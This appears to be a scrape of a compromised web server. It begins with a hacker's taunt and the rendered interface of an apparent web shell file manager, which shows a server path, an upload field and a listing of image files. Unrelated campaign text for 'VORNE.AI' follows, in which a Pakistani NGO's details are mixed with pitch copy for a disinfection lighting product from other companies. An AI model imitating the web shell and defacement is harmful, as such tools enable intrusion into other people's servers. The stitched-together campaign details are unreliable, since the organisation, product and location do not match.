I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
041e63cb-6abb-4369-81cc-c420b4fed3b7.png84141 KBMay 24 2024 12:10:250644
04596350-bba9-45d1-a3c2-af44205144a6.png156225 KBMay 24 2024 21:30:380644
0502229c-b4d8-411c-a809-6b532d07d6fd.png1223678 KBMay 24 2024 21:33:230644
061dd2f6-ebfd-43f2-8a0d-3c10ff6c1883.png300196 KBMay 13 2024 15:55:260644
116bc8d3-a05b-49a1-a51d-4f8d8f6195d6.png353215 KBMay 24 2024 21:17:020644
12734ca5-ec56-42e4-8752-3a910bb52909.png5655 KBMay 13 2024 15:37:480644
13477228-93b4-4de8-a235-7e5bcb0d99f7.png6701 KBMay 13 2024 15:44:160644
173017e4-edd9-4bf1-aac3-fb438dd0384b.png2658 KBMay 13 2024 15:40:050644
1a05d540-8b29-46f4-9691-386eb2ba5f68.png4025 KBMay 13 2024 15:38:370644
1a8e098a-c7d0-4dec-98bf-0f1ec35a13be.png34736 KBMay 13 2024 16:00:510644
1ae8c70f-fd9a-49b3-91d5-a7b08fe47f43.png357879 KBMay 13 2024 15:53:060644
1bc4d4af-6ba0-4588-99b0-6e8e2da280aa.png87273 KBMay 27 2024 12:59:320644
1e51b51a-5fa0-41cb-87a5-9a66113d234b.png13266 KBMay 13 2024 16:14:440644
1fda66c2-05eb-4b15-b7af-6313ced47562.jpeg143848 KBMay 24 2024 21:10:480644
210d3920-26b8-4ff4-bcb5-6cc1d43137b6.png477715 KBMay 13 2024 15:54:240644
27246e01-557b-4526-ab27-35e4747b2036.png21220 KBMay 13 2024 16:03:300644
2a0e3bf9-4e6d-442e-bd2e-933f6766084f.png6258 KBMay 13 2024 15:44:280644
2a44d2dc-5d53-43fc-9236-7ac3847901e7.png36782 KBMay 13 2024 16:17:490644
2c531fae-dc7c-43c7-99bd-5aa645fb98e4.png3257249 KBMay 24 2024 21:44:560644
3046a30e-d889-4e09-bfc3-2b5cd084914c.png3603 KBMay 13 2024 15:41:560644
3281f5c9-eef5-46c4-a57a-0f8b0b86b46a.png8382 KBMay 13 2024 15:39:110644
33490f0a-b4a1-4a02-83aa-cefd07285702.png4198 KBMay 13 2024 15:39:480644
34310c36-c4aa-44f8-8554-29354b729df4.png34736 KBMay 13 2024 16:15:080644
39a0c7df-aa66-438f-9300-81601adba354.png6599 KBMay 13 2024 15:44:070644
3f9664a2-e64d-4211-8157-514edfdc5400.png861343 KBMay 24 2024 21:24:130644
43af56ef-aaf3-4a51-8d86-2632f689dc6c.png19815 KBMay 24 2024 12:10:260644
48f2a920-3709-4308-b604-1a88a34a33d6.png32748 KBMay 13 2024 16:06:090644
4b0ec359-b311-4211-b925-1c802e23c9d5.png3785 KBMay 13 2024 15:43:580644
4f16b01c-274d-440c-8dc3-7c8de6353603.png34736 KBMay 13 2024 16:00:510644
50708871-f39a-458a-946d-07125ff5ce4d.png34736 KBMay 13 2024 16:00:510644
559d354e-841b-40cf-a83c-fc6b42f68734.png21220 KBMay 13 2024 16:03:300644
55cc72b9-e9de-4c46-8f1f-b1c271c86885.png8580 KBMay 13 2024 15:41:250644
566284b1-9db8-42da-a92f-89c40d67212e.png57655 KBMay 27 2024 12:57:220644
569e35ea-0853-47db-8ade-bd916afff11f.png32748 KBMay 13 2024 16:06:090644
573a8ce8-9544-4b9a-aab4-12f0c3e1887c.png5091 KBMay 13 2024 15:40:340644
5863e582-2e0b-42fe-9b0d-f5a1f22f48a8.png36895 KBMay 13 2024 16:08:340644
5b35ee8d-43ef-4123-825b-7e308dc31e57.png2944 KBMay 13 2024 15:16:060644
5db03d74-cde4-4f4d-97ff-6ba935e6c62d.png566720 KBMay 13 2024 15:53:290644
5e53fa8b-0f69-4fab-8fe7-6ff2eb103e4b.png2841 KBMay 13 2024 15:43:280644
5ea55409-58c3-4700-800f-c0b1aca72b55.png4870 KBMay 13 2024 15:37:350644
65b2a07c-3a19-4cfb-a626-b79d3fbf3cda.png724658 KBMay 24 2024 21:22:540644
69c24b7c-9f5b-4000-8e16-03b28cc849e9.png156225 KBMay 24 2024 21:29:500644
6a999e12-1c24-459b-99f3-6dce6c052bea.png21220 KBMay 13 2024 16:03:300644
75110e2c-037d-4cf4-ba1b-7b9f70e72a97.png3597 KBMay 13 2024 15:38:530644
79568fea-b49a-48e8-ae0d-945dc56857e6.png1657 KBMay 13 2024 15:43:090644
7b6954f9-d746-49d3-99c9-f50ad95c78ca.png174696 KBMay 24 2024 21:18:410644
7bb6e2a4-78e4-4afc-b5f8-c0146e4d0974.png4842 KBMay 13 2024 15:44:420644
7dfec7b8-2414-4ef2-ad8e-c9439338421d.png1172509 KBMay 27 2024 13:02:110644
7e869117-52ea-4e76-890c-3f4a414fa820.png92726 KBMay 24 2024 12:10:250644
8101cba0-4f65-4e79-9f30-e60c30a60d55.png1679 KBMay 13 2024 15:41:100644
867bccdf-84c3-4331-9bba-1d75ad346b6e.png36895 KBMay 13 2024 16:08:340644
890d90a8-562f-4653-88f0-8cb39b778155.png34736 KBMay 13 2024 16:00:520644
8dcaec31-1754-429a-9f45-369ecf59b7ef.png8844 KBMay 13 2024 13:26:100644
8e053a72-abea-4e2d-8a54-b2c202f7994e.png1394288 KBMay 24 2024 21:20:040644
8ee8b675-b74c-4b32-9014-f0c16d4135a6.png892025 KBMay 27 2024 13:06:360644
9247c8e2-cea5-4f4a-abbb-cd1223240353.png6681 KBMay 13 2024 15:41:350644
933818f7-5c17-4ec5-b2bd-56a9896be366.png7361 KBMay 13 2024 13:23:050644
93e56034-4c0e-4af7-8074-602a38193d0d.png5837 KBMay 13 2024 15:38:030644
9ad5cb3a-2d60-41a4-9e9d-ccc169df5721.png5867 KBMay 13 2024 15:40:480644
9e1a397d-4094-4ca7-a930-75254371a8d3.png156225 KBMay 24 2024 21:25:260644
a11b9f21-9b55-402d-853a-0a113de1ee58.png892025 KBMay 27 2024 13:05:330644
a47230f0-5ce9-40de-a838-acaf66e85abb.png724658 KBMay 27 2024 13:07:180644
ac15429a-f94d-4736-a900-30433989d4e6.png32748 KBMay 13 2024 16:06:090644
adfab387-53b9-4f02-bf46-eda0af9bc9af.png21220 KBMay 13 2024 16:03:300644
ae6f0948-b23f-4c0c-b7a9-296c67e8e17d.png942607 KBMay 24 2024 21:31:550644
b358cccd-0ba5-4342-8d48-9d7125d4cc6c.png403563 KBMay 24 2024 21:30:190644
b41e5243-e00e-4577-ac7d-9c16c737b3ac.png6463 KBMay 13 2024 15:42:110644
b780d794-1dac-4654-aace-6343e268a1d0.png7549 KBMay 13 2024 15:44:510644
b7bb82d9-1f3e-460d-9f03-4052c62ee335.png4597 KBMay 13 2024 15:41:450644
b8ad7871-24d5-4a38-bbfa-b786b3bf60a1.png4194 KBMay 13 2024 15:40:170644
b9912b85-ecbe-42c6-b634-b442e029ff32.png7392 KBMay 13 2024 13:23:050644
be03b969-2320-4e00-aa0a-df7f881d67c4.png32748 KBMay 13 2024 16:06:090644
c01e279d-ff0e-4062-bc53-27071d69612d.png3067 KBMay 13 2024 15:14:280644
c471abab-1ebc-4bd0-8431-fa9ab5cc6a47.png6265 KBMay 13 2024 15:43:180644
c8275988-7295-4949-ba69-1bd287b01d3b.png3183 KBMay 13 2024 15:39:280644
ca4356b8-c90d-4a5b-b9dc-de981c8eee25.png4418 KBMay 13 2024 15:37:120644
cc120e9f-d291-4da8-86df-24bcfb2d9e91.png403563 KBMay 24 2024 21:29:160644
cc6a02ea-5c7e-46d8-943c-bd182f2e5ac0.png53079 KBMay 13 2024 16:11:390644
certificates.png373987 KBMay 27 2024 09:49:250644
d590c5f3-4345-43f2-87c9-9ae6991df1f4.png301392 KBMay 13 2024 15:54:530644
d6aa3220-2a6e-45e2-be9a-19d7ccdb9391.png6358 KBMay 13 2024 15:40:590644
d7a2be62-47ab-4997-aa03-b6968714138d.png886484 KBMay 24 2024 21:43:260644
dd85d5d2-1aa9-4f50-a02f-4ae8a80d53ba.png434700 KBMay 13 2024 15:56:320644
demo.txt5 KBMarch 22 2024 10:37:440666
dff9dda3-9ec4-44a5-b7d6-a05dc5fdd9a5.png5771 KBMay 13 2024 15:43:470644
e24ebc82-31f8-4c9e-a1e8-e650b15caf10.png7028 KBMay 13 2024 15:42:390644
e6e58329-3f22-46c2-a7b9-f79216be3da8.png53079 KBMay 13 2024 16:11:390644
e8b4797f-713c-4430-9785-e56b4266bd3e.png586674 KBMay 24 2024 21:15:380644
e9cd1050-2cef-4338-92c0-7674c0c9ce34.png476356 KBMay 13 2024 15:53:530644
ea6aec3f-34da-42f6-b400-c8381cb0cd7c.png826112 KBMay 24 2024 21:38:490644
eb3cc986-a0bc-4f15-9e5d-9fffa205dea7.png663100 KBMay 24 2024 21:34:360644
ede3a535-6b36-4c60-9e39-fef2b1e132df.png13266 KBMay 13 2024 16:13:390644
f0307f64-0dbd-498a-b2f9-64d26a3ea23a.png7145 KBMay 13 2024 15:43:370644
f16b616f-2690-4071-9ac8-b4d4c3824fdf.png92726 KBMay 24 2024 12:10:260644
f4d4ad65-cc59-429e-85ce-23170d469eb1.png485788 KBMay 13 2024 15:55:570644
f50fc62b-78f6-401a-aa9e-7de493a929d2.png84141 KBMay 24 2024 12:10:250644
faaeabc9-8360-4136-9502-128a0c34b407.png19815 KBMay 24 2024 16:12:270644
fb891d52-8f33-4a85-950c-5aeed5c55b42.png1098876 KBMay 27 2024 13:03:480644
fbf49a55-52c1-473a-9237-cdf9e83885cf.png3125 KBMay 13 2024 15:42:220644
fd0a089e-38dc-4666-bd69-ca1d1813a66e.png13266 KBMay 13 2024 16:13:390644
VORNE.AI - Campaign Details
Company Details: 1. Name: Association for Humanitarian Development 2. Address: House # 39b Block B Unit No 2 Latifabad Hyderabad Sindh Pakistan 3. Key Person: Abdul Khurshid Bhatti (President/CEO) 4. Website: http://www.ahdpak.org/ Climate Change Mitigation: Nextsense’s mission is to reduce infections by improving infection prevention control practices using modern, safe, and eco-sustainable technologies Currrent Stage: Scale-up Stage: Optimization of operations, expansion of the customer base, and securing resources for sustainable growth and increased market reach., Growth stage: Focus on continuous scaling, market expansion, and solidification of the company's position, evolving from startup to an established player in the industry. Innovation Alignment: Biovitae addresses health challenges intensified by climate-related factors in two ways. #1 - Chemical Disinfectants (CD) and UV light have seen a multiple fold increase in use after the COVID-19 pandemic, this directly increases the toxicity in our natural environment which is detrimental to our health. Biovitae eliminates the need for the use of CD/UV, resulting a net positive effect on our environment and health. #2- Furthermore, climate change is directly linked the increase of superbugs and AMR. Biovitae is highly effective on the eradication of superbugs (ie. MRSA), creating a bio-safe environment for humans & animals. Soulution Impact on Health Equity: Biovitae is a unique technology which aligns with the One Health approach. Biovitae is a UV-free LED lighting technology that utilises a combination of multiple wavelengths in the visible light spectrum which are effective in killing bacteria, fungi, mould, spores, and also viruses on surfaces & air. Active ingredients commonly found Chemical Disinfectants (such as Quaternary ammonium compounds/QACs) are extremely toxic to the environment – spreading into water, soil and the atmosphere. UV light generates dangerous ozone gas, and have a short operational life span. Biovitae is an environmentally friendly alternative to dangerous conventional sanitisation methods such as Chemical Disinfection/UV. Impact Potential: a) Biovitae is exactly tailored for the use in LMIC and low-resource settings. In LMICs Healthcare facilities are often not purpose-built and are usually converted buildings from other types of facilities, lack access to chemical disinfectants, water, energy or trained personnel. Biovitae offers a real solution for these low-resource settings as it is compatible with all material types, does not require any training to use or install and does not require any chemicals or water. In addition, Biovitae is highly energy efficient, allowing for power over solar panels or batteries. Biovitae can be easily locally assembled, allowing for LMICs to develop internal capacities and knowhow. b) Biovitae has been validated over 30x in 6 different countries by independent laboratories. To name a few examples, Bioviate is highly effective to eradiacate superbugs such as MRSA, S. aureus, P. aeruginosa, and E.Coli. Bioviate has also been tested on viruses with over a 99% reduction of SARS-CoV-2, Monkeypox, and Yellow Fever Virus (YFV). Biovitae has been installed in a number of hospitals such as the Emergency hospital of Rome Fiumicino Airport and Montevergine Hospital in Campania, where the number of Hospital Acquired Infections (HAIs) has decreased thanks to the effective and continuous sanitisation Business Viability and Sustainability: Biovitae's Total Addressable Market is essentially anywhere where there is indoor lighting infrastructure where there is potential infection risk, and as such we can base our TAM on a combination of the General Lighting Market and the UV sanitisation market. The LED lighting market was valued at USD 50.9 billion (6.97% CAGR 2022-2027), and the UV sanitisation market was valued at USD 620 million (17.8% CAGR 20212026). The growing consumer awareness about the importance of the importance of microbiologically safe environments, government mandates for energy efficiency and cleantech are the drivers for the growing adoption of LED sanitisation technology. Biovitae will transform the lighting market. We are not simply positioning this technology as a sanitisation solution, but as the future of lighting. The escalating challenge of Antimicrobial Resistance (AMR) and the European Union's decisive mandates to address this issue serve as significant market drivers for light sanitization technologies like Biovitae. As the EU intensifies its efforts to combat AMR through initiatives such as the One Health approach, which emphasizes reducing antibiotic consumption and combating AMR, there is an increasing demand for innovative, non-pharmaceutical solutions. This shift presents a substantial market opportunity for light sanitisation technologies, which offer an effective, chemical-free alternative to traditional methods. We have already closed over 30 installations in 4 countries, and plan many more for 2024.

Location: Africa

Deadline: 2024-05-31